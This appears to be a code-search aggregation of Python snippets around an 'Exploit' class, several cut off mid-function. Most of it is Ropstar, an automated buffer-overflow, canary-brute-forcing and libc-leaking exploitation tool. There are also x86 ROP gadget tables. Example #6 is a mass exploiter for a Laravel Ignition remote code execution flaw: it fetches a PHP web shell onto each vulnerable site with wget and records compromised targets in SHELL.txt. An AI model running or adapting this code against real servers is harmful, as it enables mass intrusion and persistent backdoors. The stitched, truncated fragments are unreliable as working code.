Example #1
0
    def __init__(self, argv):
        parser = argparse.ArgumentParser(description='Pwn things, fast.')
        parser.add_argument('bin',help='target binary (local)')
        parser.add_argument('-rhost',help='target host')
        parser.add_argument('-rport', help='target port (required if -rhost is set)')       
        parser.add_argument('-o', help='specify offset manually, skips dynamic resolution')
        parser.add_argument('-p', help='use proxy, e.g. https://127.0.0.1:8080')
        parser.add_argument('-m', help='specify address of main method, in case there is no symbols')
        parser.add_argument('-xor', help='xor payload with given byte')     
        parser.add_argument('-win', help='specify win function address to call')    
        parser.add_argument('-magic', help='magic string that needs to be sent before the payload')
        parser.add_argument('-remote_offset', help='get offset remotely via observing responses (often required with canaries)', action='store_true')
        parser.add_argument('-state', help='canary,rbp,rip (comma seperated)')
        parser.add_argument('-plugins', help='run custom plugins')                                                                                                          

        self.args = parser.parse_args()
        self.home = pwd.getpwuid(os.getuid())[0]
        if self.home == 'root':
            self.home = '/'+self.home
        else:
            self.home = '/home/'+self.home                  
        # set context
        context.endian = "little"
        context.os = "linux"
        context.log_level = "debug"     
        context.timeout = 10
        self.t = Timeout()
        self.bname = self.args.bin
        self.binary = ELF(self.bname)
        self.arch = self.binary.get_machine_arch()
        log.info("Arch: "+self.arch)
        if self.arch  == 'i386':
            context.bits = 32
            context.arch = self.arch 
            context.kernel = self.arch 
            self.pattern_reg = "eip"
        else:
            context.bits = 64
            context.arch = self.arch 
            context.kernel = self.arch 
            self.pattern_reg = "rsp"    
        if self.args.remote_offset:
            if not self.args.rhost or not self.args.rport:
                log.failure("You need to specify rhost & rport to use remote_offset")
                sys.exit(0) 
        self.offset = -1
        if self.args.xor:
            self.xor = self.args.xor.decode('hex')
        self.leak = Leak(self)  
        self.exploit = Exploit(self)
        # identity + rot13 for now
        self.encodings = [lambda x: x, lambda x: rot13(x)]
        self.success_marker = ''
        # some config options       
        self.pattern_length = 2000
        self.magic_newline = False
        if self.args.magic and "\\n" in self.args.magic:
            self.args.magic = self.args.magic.replace("\\n","")
            self.magic_newline = True
        self.canary = None
Example #2
0
 def __init__(self, argv):
     parser = argparse.ArgumentParser(description='Pwn things, fast.')
     parser.add_argument('bin', help='target binary (local)')
     parser.add_argument('-rhost', help='target host')
     parser.add_argument('-rport',
                         help='target port (required if -rhost is set)')
     parser.add_argument(
         '-cid',
         help='challenge id for hackthebox challenges (to auto submit flags)'
     )
     parser.add_argument(
         '-o', help='specify offset manually, skips dynamic resolution')
     parser.add_argument('-p',
                         help='use proxy, e.g. https://127.0.0.1:8080')
     parser.add_argument(
         '-m',
         help='specify address of main method, in case there is no symbols')
     parser.add_argument('-xor', help='xor payload with given byte')
     parser.add_argument('-win',
                         help='specify win function address to call')
     parser.add_argument(
         '-magic',
         help='magic string that needs to be send before the payload')
     self.args = parser.parse_args()
     self.username = os.getlogin()
     if self.args.cid:
         with open('/home/' + self.username + '/.htb_apikey', 'r') as f:
             self.api_key = f.read()
             log.success("Read api_key: " + self.api_key[:6] + "...")
     # set context
     context.endian = "little"
     context.os = "linux"
     context.log_level = "debug"
     context.timeout = 10
     self.t = Timeout()
     self.bname = self.args.bin
     self.binary = ELF("./" + self.bname)
     self.arch = self.binary.get_machine_arch()
     log.info("Arch: " + self.arch)
     if self.arch == 'i386':
         context.bits = 32
         context.arch = self.arch
         context.kernel = self.arch
         self.pattern_reg = "eip"
     else:
         context.bits = 64
         context.arch = self.arch
         context.kernel = self.arch
         self.pattern_reg = "rsp"
     self.offset = -1
     self.leak = Leak(self)
     self.exploit = Exploit(self)
     # identity + rot13 for now
     self.encodings = [lambda x: x, lambda x: rot13(x)]
     if self.args.xor:
         self.encodings.append(lambda x: xor(x, self.args.xor))
     # some config options
     self.pattern_length = 2000
 def allocate_helpers(self, buffer):
     """Allocate helper buffers needed by some specific platforms (e.g. for cleanup
     purposes)"""
     result = Exploit.allocate_helpers(self, buffer)
     if self.arch == "EM_X86_64":
         self.popret = buffer.allocate(self.pointer_size, name="popret")
         nope, nope, cleanup_location = self.get_gadget("cleanup")
         result += self.write_pointer(self.popret, self.str2ptr(cleanup_location) + 8)
     return result
def test_exploit(exploit_fp, flag_id, flag):
    try:
        exploit = imp.load_source('exploit', exploit_fp)
        from exploit import Exploit
        print 'Exploit..'
        e = Exploit()
        e.execute(HOST, PORT, flag_id)
        res = e.result()
        print 'Result: %s' % str(res)
        assert res['ERROR'] == 0
        assert res['FLAG'] == flag
    except AssertionError:
        print 'AssertionError while executing Exploit'
        print traceback.format_exc()
        print '----------------------'
        print RED + 'ERROR' + ENDC
        sys.exit(2)
    except Exception:
        print 'Exception while executing Exploit'
        print traceback.format_exc()
        print '----------------------'
        print RED + 'ERROR' + ENDC
        sys.exit(2)
Example #5
0
    def add(self, max_number):

        for f in files:
            tolist = f.split('/')

            file_name = tolist[len(tolist) - 1]
            #print(file_name)
            try:
                file_name_to_number = int(file_name.split(".")[0])

                if max_number != 0:
                    if int(file_name_to_number) > max_number:

                        file_path = f
                        file_title = self.set_description(file_name)
                        print(file_title)
                        if file_title is not None:
                            exploit = Exploit(file_name, file_title, file_path,
                                              0, 0)
                            self.SESSIONOBJ.merge(exploit)
                            print(exploit.file)
                        else:
                            print('DESC NOT FOUND')
                else:
                    file_path = f
                    file_title = self.set_description(file_name)
                    print(file_title)
                    if file_title is not None:
                        exploit = Exploit(file_name, file_title, file_path, 0,
                                          0)
                        self.SESSIONOBJ.add(exploit)
                        print(exploit.file)
                    else:
                        print('DESC NOT FOUND')
            except:
                print('NEM SZAM')
        self.SESSIONOBJ.commit()
Example #6
0
def Mass(uri):
    try:
        Expl = Exploit()
        Expl.uri = f'{uri}/_ignition/execute-solution'
        if not Exploit.testPost(Expl.uri):
            print('[-] ' + Color.red(uri) + ' | Not Vuln.')
            return False
        getLog = Exploit.getLogpath(uri)
        if not getLog:
            print('[-] ' + Color.red(uri))
            return False
        path = getLog.replace(' ', '')
        Expl.logpath = path + '/storage/logs/laravel.log'
        if not Expl.pathExits():
            print('[-] ' + Color.red(uri) + ' | Log Path Does not exists.')
            return False
        if not Expl.run('echo WIBUHEKER'):
            print('[-] ' + Color.red(uri) + ' | Nope not vuln.')
            return False
        shell = Expl.run(
            f'wget https://raw.githubusercontent.com/rintod/toolol/master/payload.php -O {path}/public/shl.php | echo WIBUHEKER'
        )
        if not shell:
            print('[-] ' + Color.red(uri) +
                  ' | Cannot Execute Command For Upload.')
            return False
        check = Expl.run(f'ls {path}/public')
        if 'shl.php' in check:
            print('[+] ' + Color.green(uri) + '/shl.php | Goodboy.')
            Exploit.save('SHELL.txt', uri + '/shl.php')
        else:
            print('[+] ' + Color.yellow(uri) + '| Cannot Upload Shell.')
            Exploit.save('VULN.txt', uri)
    except Exception as e:
        print('[!] ' + Color.red(uri) + f' | Opps got error message {str(e)}')
        return False
Example #7
0
                      required=True,
                      help='Target for exploit / file for mass exploit')
    pars.add_argument('-p',
                      '--path',
                      required=False,
                      help='Log path of target')
    pars.add_argument('--thread',
                      required=False,
                      help='Threading if u use mass')
    args = vars(pars.parse_args())

    target = args['target']
    if 'http' in target:
        if args['path'] is None:
            try:
                check = Exploit.getLogpath(target)
                if check:
                    args['path'] = check.replace(
                        ' ', '') + '/storage/logs/laravel.log'
                else:
                    print(
                        Color.red(
                            'Cannot find Logpath or No debug, please search manually.'
                        ))
                    sys.exit()
            except Exception as e:
                print(Color.red(str(e)))
                sys.exit()
        readline.parse_and_bind('tab: complete')
        readline.parse_and_bind('set editing-mode vi')
        exploit = Exploit()
Example #8
0
class Ropstar():
    def __init__(self, argv):
        parser = argparse.ArgumentParser(description='Pwn things, fast.')
        parser.add_argument('bin',help='target binary (local)')
        parser.add_argument('-rhost',help='target host')
        parser.add_argument('-rport', help='target port (required if -rhost is set)')       
        parser.add_argument('-o', help='specify offset manually, skips dynamic resolution')
        parser.add_argument('-p', help='use proxy, e.g. https://127.0.0.1:8080')
        parser.add_argument('-m', help='specify address of main method, in case there is no symbols')
        parser.add_argument('-xor', help='xor payload with given byte')     
        parser.add_argument('-win', help='specify win function address to call')    
        parser.add_argument('-magic', help='magic string that needs to be sent before the payload')
        parser.add_argument('-remote_offset', help='get offset remotely via observing responses (often required with canaries)', action='store_true')
        parser.add_argument('-state', help='canary,rbp,rip (comma seperated)')
        parser.add_argument('-plugins', help='run custom plugins')                                                                                                          

        self.args = parser.parse_args()
        self.home = pwd.getpwuid(os.getuid())[0]
        if self.home == 'root':
            self.home = '/'+self.home
        else:
            self.home = '/home/'+self.home                  
        # set context
        context.endian = "little"
        context.os = "linux"
        context.log_level = "debug"     
        context.timeout = 10
        self.t = Timeout()
        self.bname = self.args.bin
        self.binary = ELF(self.bname)
        self.arch = self.binary.get_machine_arch()
        log.info("Arch: "+self.arch)
        if self.arch  == 'i386':
            context.bits = 32
            context.arch = self.arch 
            context.kernel = self.arch 
            self.pattern_reg = "eip"
        else:
            context.bits = 64
            context.arch = self.arch 
            context.kernel = self.arch 
            self.pattern_reg = "rsp"    
        if self.args.remote_offset:
            if not self.args.rhost or not self.args.rport:
                log.failure("You need to specify rhost & rport to use remote_offset")
                sys.exit(0) 
        self.offset = -1
        if self.args.xor:
            self.xor = self.args.xor.decode('hex')
        self.leak = Leak(self)  
        self.exploit = Exploit(self)
        # identity + rot13 for now
        self.encodings = [lambda x: x, lambda x: rot13(x)]
        self.success_marker = ''
        # some config options       
        self.pattern_length = 2000
        self.magic_newline = False
        if self.args.magic and "\\n" in self.args.magic:
            self.args.magic = self.args.magic.replace("\\n","")
            self.magic_newline = True
        self.canary = None


    def fit(self, payload):
        ''' Fits the payload to the offset and potentical canary
        '''
        if self.binary.canary:
            result = b''
            log.info(f"Canary: {hex(self.canary)}")
            result += p64(self.canary)
            log.info(f"Bp: {hex(self.base_ptr)}")
            result += p64(self.base_ptr)
            result += payload
            result = fit({self.offset:result})
        else:
            result = fit({self.offset:payload})
        return result


    def run_plugins(self, proc):
        path = os.path.dirname(os.path.abspath(inspect.stack()[0][1]))+"/plugins/"
        files = [f for f in os.listdir(path) if f.endswith(".py") and not f == "__init__.py"]
        if len(files) > 0:
            log.info("Executing plugins: "+','.join(files))
            for file in files:
                p, _ = file.rsplit('.', 1)
                mod = import_module('plugins.'+p)
                _class  = getattr(mod, 'Plugin')
                plugin = _class(self.home)
                plugin.run(proc, proxy=self.args.p)


    def connect(self):
        ''' Connects to remote or local binary
        '''
        p = None
        if self.args.rhost and self.args.rport:
            log.info("Using remote target "+self.args.rhost+":"+self.args.rport)    
            p = remote(self.args.rhost, self.args.rport)
        else:
            log.info("Using local target")  
            # env={'LD_PRELOAD': os.path.join(os.getcwd(), 'libc.so.6')}
            p = process(self.bname)
        return p


    def trigger(self, p, payload='', newline=True, recvall=False, prercv=False):
        ''' function that puts payload into vulnerable buffer
        '''
        result = ''
        
        # clear buffer, this is slow, but sometimes required
        if prercv:
            p.recvlines(numlines=100, timeout=3)

        if self.args.magic:
            if not self.magic_newline:
                payload = self.args.magic + payload
            else:
                p.sendline(self.args.magic)
        if self.args.xor:
            payload = xor(payload, self.xor)
        if newline:
            p.sendline(payload)
        else:
            p.send(payload)
        try:
            if recvall:
                result = p.recvall(timeout=3)
            else:
                result = p.recvlines(numlines=100, timeout=3)
        except EOFError:
            pass
        return result


    def trigger_fmt(self, payload): 
        ''' alternative to trigger for fmt string exploits (connects on its own)
        ''' 
        p = self.connect()
        result = ''
        if self.args.magic:
            p.send(self.args.magic) # or sendline?
        p.sendline(payload)
        try:
            result = p.recvall()            
            pattern = "(START0[xX][0-9a-fA-F]{4,8}END)"
            m = re.search(pattern, result)          
            if m:
                result = m.groups(1)[0]
                log.info('FmtStr leak: '+result.strip("START").strip("END"))        
        except EOFError:
            pass
        p.close()
        return result


    def get_dynamic(self):
        if not self.args.remote_offset:
            return self.get_offset_local()
        else:
            return self.get_offset_remote()


    def get_offset_remote(self):
        ''' Trial and error offset retrieval
        ''' 
        for i in range(1, self.pattern_length):
            p = self.connect()
            try:
                result = self.trigger(p, cyclic(i), recvall=True)
                result = result.decode()
                if self.success_marker not in result:
                    self.offset = i#-1
                    log.success("Offset: "+str(self.offset))
                    return True     
            except EOFError:
                self.offset = i
                log.success("Offset: "+str(self.offset))
                return True
            p.close()       
        return False


    def get_offset_local(self):
        ''' get offset with unique pattern
        '''
        for enc in self.encodings:
            p = process(self.bname)
            pattern = cyclic(self.pattern_length)
            pattern = enc(pattern)
            if self.args.magic:
                p.sendline(self.args.magic)         
            try:            
                p.sendline(pattern)
            except EOFError:
                log.failure("Can not get offset")
                return False
            p.wait()
            p.close()
            core = Coredump('./core')
            log.info("Fault: "+hex(core.fault_addr))
            addr = core.fault_addr & 0x000000ffffffff # have to make it 32 bit or cyclic crashes
            self.offset = cyclic_find(addr)
            # offset can not be higher than the pattern length
            if self.offset > self.pattern_length:
                continue
            if self.offset != -1:
                log.success("Offset: "+str(self.offset))
                return True
        log.failure("Can not get offset")
        return False


    def get_success_marker(self):
        '''
        '''
        p = self.connect()
        # get positive verifier, so we know what to expect if it doesn't crash
        result = self.trigger(p, 'test', newline=False, recvall=True)
        self.success_marker = result[-6:].decode()
        log.info("Success marker: "+self.success_marker)
        p.close()


    def check_success(self, p):
        ''' Check if we can execute shell commands
        '''
        try:
            p.sendline("id")
            out = p.recvline()
            log.success(out)
            if len(out) > 0:
                p.sendline("cat flag.txt")
                flag = p.recvline()
                if self.args.plugins:
                    self.run_plugins(p,)
                log.info('Time spent: '+str(round((time.time() - self.start_time),2))+'s')  
                p.interactive()
                return True
        except EOFError:
            log.failure("Failed")
            pass
        return False


    def debug(self, bp):
        gdb.attach(p, '''
        set follow-fork-mode child
        set breakpoint %s
        continue
        '''.format(bp))


    def smart_leak(self, p=None):
        # run seperate p
        if not self.binary.canary and not p:
            p = self.connect()      
            leak = self.leak.leak_libc(p)
            p.close()
        # keep p open
        elif not self.binary.canary and p:
            leak = self.leak.leak_libc(p)
        # run multiple p's
        else:
            leak = self.leak.leak_libc(p=None, is_forking=True)
        return leak


    def main(self):
        self.start_time = time.time()

        # offset can also be given on command line      
        if not self.args.o and not self.binary.canary:
            # resolve offset dynamically
            log.info("Getting offset")
            result = self.get_dynamic()
            if not result:
                log.info("Trying format string vector")
                # no offset found via simple overflow, maybe fmt string?
                offset = -1
                try:
                    autofmt = FmtStr(self.trigger_fmt)
                    if autofmt.offset == -1:
                        log.failure("Could not find format string vector")
                        return
                    p = self.connect()                  
                    self.exploit.fmt(p, autofmt)
                    p.close()                           
                    return
                except (IndexError, EOFError):
                    log.failure("Probably not vulnerable to format string vector")
                    return

        if self.args.o:
            self.offset = int(self.args.o)
            log.info("Offset: "+str(self.offset))

        if self.binary.canary:
            # we need a marker for successful, non crashing requests to bruteforce values
            self.get_success_marker()
            log.info("Binary uses stack canary")
            # get offset
            self.get_dynamic()

            if self.offset == -1:
                log.failure("Can't continue without offset, consider providing it with -o <offset>")
                exit(-1) 
            # did the user provide the values from a previous run ?
            if self.args.state:
                canary, base_ptr, instr_ptr = self.args.state.split(',')
                self.canary = int(canary,16)
                self.base_ptr = int(base_ptr,16)
                self.instr_ptr = int(instr_ptr,16)
                log.info("canary: "+hex(self.canary))
                log.info("base ptr: "+hex(self.base_ptr))
                log.info("instr ptr: "+hex(self.instr_ptr))
            else:
                # bruteforce values
                log.info("Bruting canary, base ptr, intr ptr")  
                log.info("This can take a while, go grab a coffee")
                pause()
                payload = cyclic(self.offset)
                canary = self.leak.leak_qword(payload) # canary
                payload = decode(payload) + canary
                base_ptr = self.leak.leak_qword(payload) # rbp
                payload = decode(payload) +  base_ptr
                instr_ptr = self.leak.leak_qword(payload) # rip                 
                log.info("canary: "+hex(u64(canary)))
                log.info("base ptr: "+hex(u64(base_ptr)))
                log.info("instr ptr: "+hex(u64(instr_ptr)))             
                self.canary = u64(canary)
                self.base_ptr = u64(base_ptr)
                self.instr_ptr = u64(instr_ptr)     
            addr = self.instr_ptr - (self.instr_ptr & 0xfff)    
            entry_offset = (self.binary.entry & 0xfffffffffffff000)
            self.binary.address =  addr - entry_offset          
            log.info("Base: "+hex(self.binary.address))
            log.info("You probably want to save these values")
            pause() 

        if self.args.win:
            p = self.connect()  
            if self.exploit.win(p, self.args.win):
                p.close()
            return
        
        # leakless works for static & non-static binaries
        log.info("Checking for leakless exploitation")
        p = self.connect()  
        if self.exploit.bss(p):
            p.close()
            return
        # static compiled binaries get their gadgets from their elf
        if not self.binary.libc:
            if self.exploit.static(p):
                p.close()
                return
        p.close()

        # dynamic complied binary, try leaking libc & exploiting via libc
        log.info("Getting Leak")
        leak = self.smart_leak()

        if len(leak) > 0:
            log.info("Getting libc version")
            versions = self.leak.ident_libc(leak)
            exploits = [self.exploit.bss, self.exploit.bss_execve, self.exploit.dup2, self.exploit.default]
            for version in versions:
                for exploit in exploits:

                    p = self.connect()
                    leak = self.smart_leak(p)

                    if len(leak) == 0:
                        continue
                    log.info("Using "+version)
                    libc_path = f"{self.leak.libcdb_path}libs/{version}/libc.so.6"
                    print(libc_path)
                    try:
                        libc = ELF(libc_path)
                    except IOError:
                        log.failure("Could not load "+version+ "(skipping)")
                        continue
                    name, addr = list(leak.items())[0]
                    libc.address = addr - libc.symbols[name]
                    log.success("Libc base: {0}".format(hex(libc.address)))
                    # exploit
                    log.info("Running exploits")
                    try:
                        if exploit(p, libc):
                            log.success("Done!")
                            return              
                    except EOFError:
                        pass
                log.failure("Could not exploit target.")
                p.close()
        else:
            log.failure("Could not leak anything")
Example #9
0
class Ropstar():
	def __init__(self, argv):
		parser = argparse.ArgumentParser(description='Pwn things, fast.')
		parser.add_argument('bin',help='target binary (local)')
		parser.add_argument('-rhost',help='target host')
		parser.add_argument('-rport', help='target port (required if -rhost is set)')
		parser.add_argument('-cid', help='challenge id for hackthebox challenges (to auto submit flags)')
		parser.add_argument('-o', help='specify offset manually, skips dynamic resolution')
		parser.add_argument('-p', help='use proxy, e.g. https://127.0.0.1:8080')
		parser.add_argument('-m', help='specify address of main method, in case there is no symbols')
		parser.add_argument('-xor', help='xor payload with given byte')		
		parser.add_argument('-win', help='specify win function address to call')	
		parser.add_argument('-magic', help='magic string that needs to be send before the payload')
		parser.add_argument('-remote_offset', help='get offset remotely via observing responses (often required with canaries)', action='store_true')																										
		self.args = parser.parse_args()
		self.home = os.getlogin()
		if self.home == 'root':
			self.home = '/'+self.home
		else:
			self.home = '/home/'+self.home
		if self.args.cid:
			with open(self.home+'/.htb_apikey','r') as f:
				self.api_key = f.read()
				log.success("Read api_key: "+self.api_key[:6]+"...")				
		# set context
		context.endian = "little"
		context.os = "linux"
		context.log_level = "debug"		
		context.timeout = 10
		self.t = Timeout()
		self.bname = self.args.bin
		self.binary = ELF(self.bname)
		self.arch = self.binary.get_machine_arch()
		log.info("Arch: "+self.arch)
		if self.arch  == 'i386':
			context.bits = 32
			context.arch = self.arch 
			context.kernel = self.arch 
			self.pattern_reg = "eip"
		else:
			context.bits = 64
			context.arch = self.arch 
			context.kernel = self.arch 
			self.pattern_reg = "rsp"	
		if self.args.remote_offset:
			if not self.args.rhost or not self.args.rport:
				log.failure("You need to specify rhost & rport to use remote_offset")
				sys.exit(0)	
		self.offset = -1
		if self.args.xor:
			self.xor = self.args.xor.decode('hex')
		self.leak = Leak(self)	
		self.exploit = Exploit(self)
		# identity + rot13 for now
		self.encodings = [lambda x: x, lambda x: rot13(x)]
		self.success_marker = ''
		# some config options		
		self.pattern_length = 2000
		self.magic_newline = False
		if self.args.magic and "\\n" in self.args.magic:
			self.args.magic = self.args.magic.replace("\\n","")
			self.magic_newline = True



	def connect(self):
		''' Connects to remote or local binary
		'''
		p = None
		if self.args.rhost and self.args.rport:
			log.info("Using remote target "+self.args.rhost+":"+self.args.rport)	
			p = remote(self.args.rhost, self.args.rport)
		else:
			log.info("Using local target")	
			# env={'LD_PRELOAD': os.path.join(os.getcwd(), 'libc.so.6')}
			p = process(self.bname)
		return p


	def trigger(self, p, payload='', newline=True, recvall=False):
		''' function that puts payload into vulnerable buffer
		'''
		result = ''
		if self.args.magic:
			if not self.magic_newline:
				payload = self.args.magic + payload
			else:
				p.sendline(self.args.magic)
		if self.args.xor:
			payload = xor(payload, self.xor)
		if newline:
			p.sendline(payload)
		else:
			p.send(payload)
		try:
			if recvall:
				result = p.recvall(timeout=2)
			else:
				result = p.recvlines(numlines=100, timeout=2)
		except EOFError:
			pass
		return result


	def trigger_fmt(self, payload):	
		''' alternative to trigger for fmt string exploits (connects on its own)
		'''	
		p = self.connect()
		result = ''
		if self.args.magic:
			p.send(self.args.magic) # or sendline?
		p.sendline(payload)
		try:
			result = p.recvall()			
			pattern = "(START0[xX][0-9a-fA-F]{4,8}END)"
			m = re.search(pattern, result)			
			if m:
				result = m.groups(1)[0]
				log.info('FmtStr leak: '+result.strip("START").strip("END"))		
		except EOFError:
			pass
		p.close()
		return result


	def submit_challenge_flag(self, flag):
		''' Submit flag to htb
		'''
		url = 'https://www.hackthebox.eu/api/challenges/own/?api_token='+self.api_key
		data =  {'challenge_id':self.args.cid, 'flag': flag, "difficulty": 1}
		data_str = "&".join("%s=%s" % (k,v) for k,v in data.items())
		headers = {'User-Agent':'Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0',
					'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'}
		if not self.args.p:
			r = requests.post(url, data=data_str, headers=headers, verify=False)
		else:
			r = requests.post(url, data=data_str, headers=headers, verify=False, proxies={'https':self.args.p})
		log.info("Result: "+str(r.status_code))

	
	def get_dynamic(self):
		if not self.args.remote_offset:
			return self.get_offset_local()
		else:
			return self.get_offset_remote()


	def get_offset_remote(self):
		''' Trial and error offset retrieval
		'''	
		for i in range(1, self.pattern_length):
			p = self.connect()
			try:
				result = self.trigger(p, cyclic(i))
				if self.success_marker not in result:
					self.offset = i-1
					log.success("Offset: "+str(self.offset))
					return True 	
			except EOFError:
				self.offset = i
				log.success("Offset: "+str(self.offset))
				return True
			p.close()		
		return False


	def get_offset_local(self):
		''' get offset with unique pattern
		'''
		for enc in self.encodings:
			p = process(self.bname)
			pattern = cyclic(self.pattern_length)
			pattern = enc(pattern)
			if self.args.magic:
				p.sendline(self.args.magic)			
			p.sendline(pattern)
			p.wait()
			p.close()
			core = Coredump('./core')
			log.info("Fault: "+hex(core.fault_addr))
			addr = core.fault_addr & 0x000000ffffffff # have to make it 32 bit or cyclic crashes
			self.offset = cyclic_find(addr)
			# offset can not be higher than the pattern length
			if self.offset > self.pattern_length:
				continue
			if self.offset != -1:
				log.success("Offset: "+str(self.offset))
				return True
		log.failure("Can not get offset")
		return False


	def get_success_marker(self):
		'''
		'''
		p = self.connect()
		# get positive verifier, so we know what to expect if it doesn't crash
		result = self.trigger(p, 'test', newline=False, recvall=True)
		self.success_marker = result[-6:]
		log.info("Success marker: "+self.success_marker)
		p.close()


	def check_success(self, p):
		''' Check if we can execute shell commands and submit the flag when doing htb challenges
		'''
		try:
			p.sendline("id")
			out = p.recvline()
			log.success(out)
			if len(out) > 0:
				p.sendline("cat flag.txt")
				flag = p.recvline()
				if self.args.cid and len(flag) > 0 and flag.find('No such file or directory') == -1:
					self.submit_challenge_flag(flag.strip("\n"))
					log.success("Submitted flag: "+flag)			
				else:
					log.info("Not submitted")
				log.info('Time spent: '+str(round((time.time() - self.start_time),2))+'s')	
				p.interactive()
				return True
		except EOFError:
			log.failure("Failed")
			pass
		return False


	def debug(self, bp):
		gdb.attach(p, '''
		set follow-fork-mode child
		set breakpoint %s
		continue
		'''.format(bp))


	def main(self):
		self.start_time = time.time()

		# offset can also be given on command line		
		if not self.args.o:
			# resolve offset dynamically
			log.info("Getting offset")
			result = self.get_dynamic()
			if not result:
				# no offset found via simple overflow, maybe fmt string?
				offset = -1
				try:
					autofmt = FmtStr(self.trigger_fmt)
					if autofmt.offset == -1:
						log.failure("Could not find format string vuln")
						return
					p = self.connect()					
					self.exploit.fmt(p, autofmt)
					p.close()							
					return
				except IndexError:
					log.failure("Could not find format string vuln")
					return
		else:
			self.offset = int(self.args.o)
			log.info("Offset: "+str(self.offset))

		if self.binary.canary:
			# we need a marker for successful, non crashing requests to bruteforce values
			self.get_success_marker()
			log.info("Binary uses stack canary")
			log.info("Bruting canary, base ptr, intr ptr")	
			log.info("This can take a while, go grab a coffee")
			pause()
			payload = cyclic(self.offset)
			canary = self.leak.leak_qword(payload) # canary
			payload += canary
			base_ptr = self.leak.leak_qword(payload) # rbp
			payload += base_ptr
			instr_ptr = self.leak.leak_qword(payload) # rip
			payload += instr_ptr
			log.info("canary: "+hex(u64(canary)))
			log.info("base ptr: "+hex(u64(base_ptr)))
			log.info("instr ptr: "+hex(u64(instr_ptr)))
			log.info("You probably want to copy these")
			pause()	
			# at this point we can assume we have the values				
			self.canary = u64(canary)
			self.base_ptr = u64(base_ptr)
			self.instr_ptr = u64(instr_ptr)			
			'''	
			self.canary =  manual
			self.base_ptr = manual
			self.instr_ptr = manual
			'''
			addr = self.instr_ptr - (self.instr_ptr & 0xfff)	
			entry_offset = (self.binary.entry & 0xfffffffffffff000)
			self.binary.address =  addr - entry_offset			
			log.info("Base: "+hex(self.binary.address))

		if self.args.win:
			p = self.connect()	
			if self.exploit.win(p, self.args.win):
				p.close()
			return
		
		# leakless works for static & non-static binaries
		log.info("Checking for leakless exploitation")
		p = self.connect()	
		if self.exploit.bss(p):
			p.close()
			return
		# static compiled binaries get their gadgets from their elf
		if not self.binary.libc:
			if self.exploit.static(p):
				p.close()
				return
		p.close()

		# dynamic complied binary, try leaking libc & exploiting via libc
		log.info("Getting Leak")
		p = self.connect()		
		leak = self.leak.leak_libc(p)
		p.close()
		if len(leak) > 0:
			log.info("Getting libc version")
			versions = self.leak.ident_libc(leak)
			exploits = [self.exploit.bss, self.exploit.bss_execve, self.exploit.default]
			for version in versions:
				for exploit in exploits:
					p = self.connect()
					leak = self.leak.leak_libc(p)
					if len(leak) == 0:
						continue
					log.info("Using "+version)
					try:
						libc = ELF(version) # take first hit for now
					except IOError:
						log.failure("Could not load "+version+ "(skipping)")
						continue
					name, addr = leak.items()[0]
					libc.address = addr - libc.symbols[name]
					log.success("Libc base: {0}".format(hex(libc.address)))
					# exploit
					log.info("Running exploits")
					try:
						if exploit(p, libc):
							log.success("Done!")
							return				
					except EOFError:
						pass
				log.failure("Could not exploit target.")
				p.close()
		else:
			log.failure("Could not leak anything")
Example #10
0
    def __init__(self):
        Exploit.__init__(self)

        # Good for FreeBSD

        # self.add_gadget("EM_386", "writemem", 4,
        #                 " 8b 44 24 08" + # mov    eax,DWORD PTR [esp+0x8] \
        #                 " 8b 4c 24 04" + # mov    ecx,DWORD PTR [esp+0x4] \
        #                 " 89 01" +       # mov    DWORD PTR [ecx],eax \
        #                 " c3")           # ret

        # self.add_gadget("EM_386", "cleanup", 3,
        #                 " 83 c4 0c" + # add    esp,0xc \
        #                 " c3")        # ret

        # Good for Linux

        self.add_gadget("EM_386", "writemem", 4,
                        " 8b 54 24 08" + # mov edx,DWORD PTR [esp+0x8] \
                        " 8b 44 24 04" + # mov eax,DWORD PTR [esp+0x4] \
                        " 89 10"       + # mov DWORD PTR [eax],edx \
                        " c3")           # ret

        # *(*(eax)+ecx) = ebx
        self.add_gadget("EM_386", "deref_write_with_offset", 4,
                        " 58"       + # pop eax \
                        " 5b"       + # pop ebx \
                        " 59"       + # pop ecx \
                        " 8b 00"    + # mov eax,DWORD PTR [eax] \
                        " 89 1c 08" + # mov DWORD PTR [eax+ecx*1],ebx \
                        " c3")        # ret

        self.add_gadget("EM_386", "deref_with_offset_and_save", 4,
                        " 58"       + # pop eax \
                        " 5b"       + # pop ebx \
                        " 59"       + # pop ecx \
                        " 8b 00"    + # mov eax,DWORD PTR [eax]
                        " 8b 04 18" + # mov eax,DWORD PTR [eax+ebx*1] \
                        " 89 01"    + # mov DWORD PTR [ecx],eax \
                        " c3")        # ret

        self.add_gadget("EM_386", "copy_to_stack", 4,
                        " 5b"       + # pop ebx \
                        " 59"       + # pop ecx \
                        " 8b 1b"    + # mov ebx,DWORD PTR [ebx] \
                        " 89 1c 0c" + # mov DWORD PTR [esp+ecx*1],ebx \
                        " c3")        # ret

        self.add_gadget("EM_386", "cleanup", 4,
                        " 5b" + # pop ebx \
                        " 5e" + # pop esi \
                        " 5f" + # pop edi \
                        " 5d" + # pop ebp \
                        " c3")  # ret

        self.add_gadget("EM_386", "prepare_memcpy", 4,
                        " 58"       + # pop eax \
                        " 5e"       + # pop esi \
                        " 01 e6"    + # add esi,esp \
                        " 89 34 04" + # mov DWORD PTR [esp+eax*1],esi \
                        " c3")        # ret

        self.add_gadget("EM_386", "custom_cleanup", 4,
                        " 5b"       + # pop ebx \
                        " 01 dc"    + # add esp,ebx \
                        " c3")        # ret

        # This gadget requires 6 useless parameters

        self.add_gadget("EM_X86_64", "writemem", 8,
                        " 48 8b 54 24 10" + # mov rdx,QWORD PTR [rsp+0x10] \
                        " 48 8b 44 24 08" + # mov rax,QWORD PTR [rsp+0x8] \
                        " 48 89 10"       + # mov QWORD PTR [rax],rdx \
                        " c3")              # ret

        self.add_gadget("EM_X86_64", "writemem", 8,
                        " 48 89 37"       + # mov    QWORD PTR [rdi],rsi \
                        " c3")              # ret

        self.add_gadget("EM_X86_64", "cleanup", 6,
                        " 5b"    + # pop    rbx \
                        " 5d"    + # pop    rbp \
                        " 41 5c" + # pop    r12 \
                        " 41 5d" + # pop    r13 \
                        " 41 5e" + # pop    r14 \
                        " 41 5f" + # pop    r15 \
                        " c3")     # ret

        self.add_gadget("EM_X86_64", "args", None,
                        " 4c 89 ea" +   # mov    rdx,r13 \
                        " 4c 89 f6" +   # mov    rsi,r14 \
                        " 44 89 ff" +   # mov    edi,r15d \
